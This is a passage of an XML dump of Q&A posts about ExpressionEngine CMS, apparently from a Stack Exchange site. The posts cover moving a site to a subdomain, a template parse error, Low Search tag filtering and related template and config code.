(images, css, js ect) are not updating. I must be missing some setting, but I just don't know what or where. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to limitations on newbies posting links I was not able to add the notes on what I've done so far inline.  To read what steps I've taken go to &lt;a href=&quot;http://webbdemo.com/files/moving-ee1-site-to-subdomain.txt&quot; rel=&quot;nofollow&quot;&gt;http://webbdemo.com/files/moving-ee1-site-to-subdomain.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Except for one, all &quot;links&quot; are config settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insights or solutions!&#xA;Jules&lt;/p&gt;&#xA;" OwnerUserId="528" LastActivityDate="2013-09-29T23:50:25.557" Title="Would like tips and advice on updating website URL and Server Path in EE1 to a subdomain" Tags="|ee1|migration|path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13351" PostTypeId="2" ParentId="13350" CreationDate="2013-08-30T22:56:00.703" Score="2" Body="&lt;p&gt;For your #1, can you browse static files (e.g., put a robots.txt in the root folder) at &lt;a href=&quot;http://archives.mystie.com&quot; rel=&quot;nofollow&quot;&gt;http://archives.mystie.com&lt;/a&gt;? Can you browse &lt;a href=&quot;http://archives.mystie.com/robots.txt&quot; rel=&quot;nofollow&quot;&gt;http://archives.mystie.com/robots.txt&lt;/a&gt;? Make sure that works, as a starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the point of view of EE, it doesn't really know that a subdomain is a subdomain--it's just a domain name / URL. So, in your config file, you should have things like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['site_url'] = &quot;http://archives.mysite.com/&quot;;&#xA;$conf['cp_url'] = &quot;http://archives.mysite.com/systemfolder/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, for your paths, you'll want to use the full path (most likely), like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['system_folder'] = &quot;/home/un/public_html/archives/systemfolder/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For your #2, take a look in the control panel under: &lt;strong&gt;CP Home  ›  Admin  ›  Weblog Administration  ›  File Upload Preferences&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to update your file paths for each of your file upload destinations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that if you have hard coded full URLs to &lt;a href=&quot;http://mysite.com/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/&lt;/a&gt;... in your content entries, those won't update.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, if you tweak a few things, and double-check that you have the URLs and paths right, you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-30T22:56:00.703" CommentCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="13352" PostTypeId="1" AcceptedAnswerId="13355" CreationDate="2013-08-30T23:26:54.010" Score="0" ViewCount="755" Body="&lt;p&gt;I'm pretty new to ExpressionEngine... I was asked to put pagination in for the following page, and I get the following error:&#xA;Parse error: syntax error, unexpected T_ENDIF in /mnt/stor12-wc2-dfw1/594049/www.somedomain.com/web/content/system/expressionengine/libraries/Functions.php(656) : eval()'d code on line 181&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to fix it, and it only appears when I put in the pagination code. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}   &#xA;&amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;NEWS&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;                        &amp;lt;ul class=&quot;news&quot;&amp;gt;&#xA;                {exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot;  dynamic=&quot;off&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; paginate=&quot;bottom&quot;}&#xA;                 {paginate}&#xA;                        &amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;                    {/paginate} &#xA;                            &amp;lt;li&amp;gt;&#xA;                                &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;                                    {if !slideshow}&amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;{/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                                    &amp;lt;h5&amp;gt;{title}&amp;lt;/h5&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;{if &quot;{content:has_excerpt}&quot;}{content:excerpt}{if:else}{content}{/if} &#xA;                                    &amp;lt;/p&amp;gt; &#xA;                                    {if video_embed != &quot;&quot;}{video_embed}{/if}&#xA;                                    {if slideshow} &#xA;                                    {slideshow limit=&quot;10&quot;}&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; style=&quot;float:left;&quot;&amp;gt;{exp:ce_img:pair src=&quot;{url}&quot; max=&quot;100&quot; crop=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;{/slideshow}&#xA;                               {/if}&#xA;                                    &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; style=&quot;clear:all;&quot;&amp;gt;Read More...&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                {/exp:channel:entries}&#xA;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                               &amp;lt;/div&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;&#xA;                  {if:else}&#xA;                {exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot;  dynamic=&quot;off&quot; orderby=&quot;date&quot; url_title=&quot;{segment_2}&quot;}  &#xA;                &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;                                &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;                                    {if slideshow}&#xA;                                    &amp;lt;h4 class=&quot;red&quot;&amp;gt;{title}&amp;lt;/h4&amp;gt; &#xA;                                        &amp;lt;div class=&quot;block-content&quot;&amp;gt; &#xA;                                           {if &quot;{content:has_excerpt}&quot;}{content:extended}{if:else}{content}{/if}    &#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                      &amp;lt;div class=&quot;coda-slider-wrapper&quot;&amp;gt;&#xA;                                            &amp;lt;div class=&quot;coda-slider preload&quot; id=&quot;coda-slider-1&quot;&amp;gt;&#xA;                                                                            &amp;lt;div id=&quot;coda-nav-left-1&quot; style=&quot;float:left;&quot; class=&quot;top-arrow-nav&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;Previous&quot;&amp;gt;&amp;amp;lt; Previous&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div id=&quot;coda-nav-right-1&quot; style=&quot;float:right;&quot; class=&quot;top-arrow-nav&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;Next&quot; &amp;gt;Next &amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;  &#xA;                                                {slideshow var_prefix=&quot;slide&quot;}&#xA;                                                &amp;lt;div class=&quot;panel&quot; id=&quot;panel{count}&quot;&amp;gt;&#xA;                                                    &amp;lt;div class=&quot;panel-wrapper&quot;&amp;gt; &#xA;                                                        {if slide:caption}&amp;lt;p&amp;gt;{slide:caption}&amp;lt;/p&amp;gt;{/if}&amp;lt;a class=&quot;xtrig&quot; href=&quot;#{if slide:total_files == {count}}1{if:else}{exp:mx_calc expression=&quot;{count}+1&quot;}{/if}&quot; rel=&quot;coda-slider-1&quot;&amp;gt;{exp:ce_img:pair src=&quot;{slide:url}&quot; width=&quot;715&quot; height=&quot;536&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;  /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&#xA;                                                      &amp;lt;/div&amp;gt; &#xA;&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                                {/slideshow}&#xA;&#xA;                                            &amp;lt;/div&amp;gt;&amp;lt;!-- .coda-slider --&amp;gt; &#xA;&#xA;                                        &amp;lt;/div&amp;gt;&amp;lt;!-- .coda-slider-wrapper --&amp;gt;&#xA;                                                                        &amp;lt;div id=&quot;coda-nav-1&quot; class=&quot;coda-nav&quot;&amp;gt;&#xA;                                        &amp;lt;ul&amp;gt;       &#xA;                                        {slideshow}&amp;lt;li class=&quot;tab{count}&quot;&amp;gt;&amp;lt;a href=&quot;#{count}&quot;&amp;gt;{exp:ce_img:pair src=&quot;{url}&quot; max=&quot;100&quot; crop=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/slideshow}&#xA;                                               &amp;lt;/ul&amp;gt; &#xA;&#xA;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;&#xA;                 &amp;lt;/div&amp;gt; &#xA;                                  {if:else}    &#xA;                                    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;                        &amp;lt;ul class=&quot;news&quot;&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;{content}&amp;lt;/p&amp;gt;&#xA;                                    {if video_embed != &quot;&quot;}{video_embed}{/if}&#xA;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                 &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;       {/if}      {/if}           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1954" LastActivityDate="2013-08-31T06:26:50.267" Title="Parse Error: syntax error.... eval()'d code" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13353" PostTypeId="2" ParentId="13337" CreationDate="2013-08-31T03:42:06.267" Score="1" Body="&lt;p&gt;Solution was to edit the correct file. I had my config file from the local dev site open instead of the staging site.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-08-31T03:42:06.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13354" PostTypeId="1" AcceptedAnswerId="13360" CreationDate="2013-08-31T04:43:14.130" Score="0" ViewCount="205" Body="&lt;p&gt;I'd like to set up Low Search to &lt;strong&gt;only&lt;/strong&gt; search category names and tags. I haven't been able to figure out a way to combine Low Search and Low Search Tag to just return results from category and tag names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two category groups:&#xA;Topics (group_id=&quot;2&quot;) and Audiences (group_id=&quot;11&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently 282 tags set by the client using Solspace Tag 4.1.1. &#xA;(group_name=&quot;default&quot;) (group_id=&quot;1&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my most current attempt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    collection=&quot;speakers&quot; &#xA;    search_mode=&quot;all&quot; &#xA;    result_page=&quot;search/results&quot;}&#xA;{exp:tag:cloud tag_group_name=&quot;default&quot;}&#xA;&#xA;  &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;keywords&quot; id=&quot;textbox&quot;  style=&quot;width:135px;&quot; /&amp;gt;&#xA;&#xA;  {/exp:tag:cloud}&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and my results page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    tag_id=&quot;default&quot;&#xA;}&#xA;  ...&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I should be nesting the low_search and low_search_tag tag pairs within each other. Any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- EE 2.5.5  --  Low Search 2.4.0 -- Solspace Tag 4.1.1&lt;/p&gt;&#xA;" OwnerDisplayName="user94" LastEditorUserId="172" LastEditDate="2013-08-31T11:41:28.477" LastActivityDate="2013-09-02T07:49:30.160" Title="Using Low Search to ONLY search categories and Solspace Tags" Tags="|search|low-search|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13355" PostTypeId="2" ParentId="13352" CreationDate="2013-08-31T05:59:50.737" Score="0" Body="&lt;p&gt;In the last line of your code you close with 2 if statements. Remove one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have issues, comment out blocks of code until error disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want some additional suggestions, you would be better off removing the if else wrapping the two channel entries tags. Use 2 if statements = and != for the segment instead, which will mean simple conditionals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An embed would be better for each channel entry tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may even be able to pass some variables to your embedded template so that you only end up using one channel entries tag, because they look very similar.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-31T06:10:24.717" LastActivityDate="2013-08-31T06:10:24.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13356" PostTypeId="1" AcceptedAnswerId="13359" CreationDate="2013-08-31T06:23:32.947" Score="0" ViewCount="162" Body="&lt;p&gt;Is there an easy way to change the File Module's {file_size} variable from its default output of bytes, into megabytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems just slack not to provide a better user friendly output that what's on offer out of the box.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-08-31T08:41:43.603" Title="Changing File Module's {file_size} variable into MB" Tags="|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13357" PostTypeId="2" ParentId="13352" CreationDate="2013-08-31T06:26:50.267" Score="0" Body="&lt;p&gt;It's most likely because you're using a complex conditional withing a complex conditional and because you're code isn't closed properly. For complex conditionals (&lt;code&gt;if:else&lt;/code&gt;) both conditions are parsed. So, try using two simple conditionals. With simple conditionals, only the true case is parsed. I'd highly recommend using the add-on &lt;a href=&quot;http://www.devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;      &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;&#xA;          {if segment_2 == &quot;&quot;}&#xA;            &amp;lt;h4&amp;gt;NEWS&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;              &amp;lt;ul class=&quot;news&quot;&amp;gt;&#xA;              {exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot;  dynamic=&quot;off&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; paginate=&quot;bottom&quot;}&#xA;                {paginate}&#xA;                  &amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;                {/paginate} &#xA;                ...&#xA;              {/exp:channel:entries}&#xA;              &amp;lt;/ul&amp;gt;&#xA;              &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- end .block-content --&amp;gt;&#xA;          {/if}&#xA;&#xA;          {if segment_2 != &quot;&quot;}&#xA;&#xA;            {exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot;  dynamic=&quot;off&quot; orderby=&quot;date&quot; url_title=&quot;{segment_2}&quot;}  &#xA;&#xA;            {if slideshow}&#xA;            &amp;lt;h4 class=&quot;red&quot;&amp;gt;{title}&amp;lt;/h4&amp;gt; &#xA;            &amp;lt;div class=&quot;block-content&quot;&amp;gt; &#xA;              {if &quot;{content:has_excerpt}&quot;}{content:extended}{if:else}{content}{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;coda-slider-wrapper&quot;&amp;gt;&#xA;              &amp;lt;div class=&quot;coda-slider preload&quot; id=&quot;coda-slider-1&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;coda-nav-left-1&quot; style=&quot;float:left;&quot; class=&quot;top-arrow-nav&quot;&amp;gt;&#xA;                  &amp;lt;a href=&quot;#&quot; title=&quot;Previous&quot;&amp;gt;&amp;amp;lt; Previous&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div id=&quot;coda-nav-right-1&quot; style=&quot;float:right;&quot; class=&quot;top-arrow-nav&quot;&amp;gt;&#xA;                  &amp;lt;a href=&quot;#&quot; title=&quot;Next&quot; &amp;gt;Next &amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;  &#xA;                {slideshow var_prefix=&quot;slide&quot;}&#xA;                &amp;lt;div class=&quot;panel&quot; id=&quot;panel{count}&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;panel-wrapper&quot;&amp;gt; &#xA;                    {if slide:caption}&amp;lt;p&amp;gt;{slide:caption}&amp;lt;/p&amp;gt;{/if}&#xA;                    &amp;lt;a class=&quot;xtrig&quot; href=&quot;#{if slide:total_files == {count}}1{if:else}{exp:mx_calc expression=&quot;{count}+1&quot;}{/if}&quot; rel=&quot;coda-slider-1&quot;&amp;gt;{exp:ce_img:pair src=&quot;{slide:url}&quot; width=&quot;715&quot; height=&quot;536&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;  /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/slideshow}&#xA;              &amp;lt;/div&amp;gt; &amp;lt;!-- .coda-slider --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .coda-slider-wrapper --&amp;gt;&#xA;            &amp;lt;div id=&quot;coda-nav-1&quot; class=&quot;coda-nav&quot;&amp;gt;&#xA;              &amp;lt;ul&amp;gt;&#xA;                {slideshow}&amp;lt;li class=&quot;tab{count}&quot;&amp;gt;&amp;lt;a href=&quot;#{count}&quot;&amp;gt;{exp:ce_img:pair src=&quot;{url}&quot; max=&quot;100&quot; crop=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/slideshow}&#xA;              &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- end .#coda-nav-1 --&amp;gt;&#xA;            {/if} &amp;lt;!-- end if slideshow --&amp;gt;&#xA;&#xA;            {if !slideshow}    &#xA;            &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;              &amp;lt;ul class=&quot;news&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                  &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{content}&amp;lt;/p&amp;gt;&#xA;                    {if video_embed != &quot;&quot;}{video_embed}{/if}&#xA;                  &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;              &amp;lt;/ul&amp;gt;&#xA;              &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- end .block-content --&amp;gt;&#xA;            {/if} &amp;lt;!-- end if !slideshow --&amp;gt;&#xA;&#xA;            {exp:channel:entries}&#xA;&#xA;          {/if} &amp;lt;!-- end if segment_2 != &quot;&quot; --&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- end .block --&amp;gt;&#xA;      &amp;lt;/div&amp;gt; &amp;lt;!-- end #content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- end .wrap --&amp;gt;&#xA;  &amp;lt;/div&amp;gt; &amp;lt;!-- end #main --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-31T06:26:50.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13358" PostTypeId="1" AcceptedAnswerId="13363" CreationDate="2013-08-31T08:29:13.873" Score="0" ViewCount="124" Body="&lt;p&gt;I have install a plugin to get channels. And that was i have used in template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:getchannels}&#xA;{channel_name}&#xA;{/exp:getchannels}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this I got the result i.e. list of channels. thats ok. working good.&#xA;and then I need to execute a query like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;Select CONCAT('field_id_',field_id) 'field_id', field_name, BASE64_DECODE(field_settings) 'field_settings', field_label&#xA;     from exp_channel_fields f join exp_channels c on c.field_group = f.group_id where c.channel_name = 'programme' order by field_order&quot;}&#xA;     &amp;lt;br/&amp;gt;{field_name}&amp;lt;br/&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from this I got the result of particular channel that is &quot;Programme&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my query is that, I would like to use that &lt;code&gt;query EXP&lt;/code&gt; inside the &lt;code&gt;getchannel EXP&lt;/code&gt;, like below mentioned&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:getchannels}&#xA;{channel_name}&#xA;{exp:query sql=&quot;Select CONCAT('field_id_',field_id) 'field_id', field_name, BASE64_DECODE(field_settings) 'field_settings', field_label&#xA;     from exp_channel_fields f join exp_channels c on c.field_group = f.group_id where c.channel_name = '{channel_name}' order by field_order&quot;}&#xA;     &amp;lt;br/&amp;gt;{field_name}&amp;lt;br/&amp;gt;&#xA;{/exp:query}&#xA;{/exp:getchannels}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now problem is that, that &lt;code&gt;query EXP&lt;/code&gt; returns blank when i execute that inside &lt;code&gt;getchannel EXP&lt;/code&gt;.&#xA;Here I would like to get the fields of each channel what channels are getting by &lt;code&gt;getchannel EXP&lt;/code&gt;, yes same like &lt;code&gt;FOREACH LOOP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i &lt;code&gt;echo&lt;/code&gt; this query and &lt;code&gt;execute&lt;/code&gt; that inside &lt;code&gt;PHPMYADMIN&lt;/code&gt; it returns result exactly what i want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there is something wrong with that. Don't getting the idea whats wrong in that.&#xA;Can Anybody help me to solve that.?&#xA;I stuck at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance.&lt;/p&gt;&#xA;" OwnerUserId="1937" LastEditorUserId="115" LastEditDate="2013-08-31T10:03:58.963" LastActivityDate="2013-08-31T11:56:31.783" Title="EXP template inside another EXP template dosent work" Tags="|channel|query|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13359" PostTypeId="2" ParentId="13356" CreationDate="2013-08-31T08:41:43.603" Score="1" Body="&lt;p&gt;It would be better to use any mathematics plugin which to calculate megabytes from bytes. You can use &lt;a href=&quot;http://devot-ee.com/add-ons/simple-math&quot; rel=&quot;nofollow&quot;&gt;Simple Math&lt;/a&gt; plugin and use tag like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:simple_math calculate=&quot;{file_size} / 1024&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-31T08:41:43.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13360" PostTypeId="2" ParentId="13354" CreationDate="2013-08-31T09:06:44.320" Score="0" Body="&lt;p&gt;Low Search will always return &lt;strong&gt;Entries&lt;/strong&gt;. The Results tag basically is the same as the &lt;code&gt;channel:entries&lt;/code&gt; tag, but with added filters, including an advanced category filter and Solspace Tag filter, when used with Low Search Tag. It &lt;strong&gt;does not&lt;/strong&gt; return the categories or tags themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to filter by category and/or tags, follow the examples in &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags&quot; rel=&quot;nofollow&quot;&gt;the Low Search docs&lt;/a&gt; and &lt;a href=&quot;https://github.com/low/low_search_tag&quot; rel=&quot;nofollow&quot;&gt;Low Search Tag docs&lt;/a&gt;. The search results will only have entries that have the selected categories/tags assigned to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that Low Search Tag doesn't have tags itself, it just adds the ability to Low Search to filter by Solspace Tag, using &lt;a href=&quot;https://github.com/low/low_search_tag#usage&quot; rel=&quot;nofollow&quot;&gt;these parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a crude example:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Search Form&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;    result_page=&quot;search&quot;&#xA;    query=&quot;{segment_2}&quot;&#xA;    require_all=&quot;category&quot;&#xA;}&#xA;&#xA;    Select topic&#xA;    &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;        {exp:channel:categories channel=&quot;speakers&quot; category_group=&quot;2&quot; style=&quot;linear&quot;}&#xA;            &amp;lt;option value=&quot;{category_id}&quot;{if category_id IN ({low_search_category})} selected=&quot;selected&quot;{/if}&amp;gt;&#xA;                {category_name}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/exp:channel:categories}&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;    Select audience&#xA;    &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;        {exp:channel:categories channel=&quot;speakers&quot; category_group=&quot;11&quot; style=&quot;linear&quot;}&#xA;            &amp;lt;option value=&quot;{category_id}&quot;{if category_id IN ({low_search_category})} selected=&quot;selected&quot;{/if}&amp;gt;&#xA;                {category_name}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/exp:channel:categories}&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;    Select tag&#xA;    &amp;lt;select name=&quot;tag_id[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;        {exp:tag:cloud tag_group_name=&quot;group1&quot;}&#xA;            &amp;lt;option value=&quot;{tag_id}&quot;{if tag_id IN ({low_search_tag_id})} selected=&quot;selected&quot;{/if}&amp;gt;&#xA;                {tag}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/exp:tag:cloud}&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search!&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Search 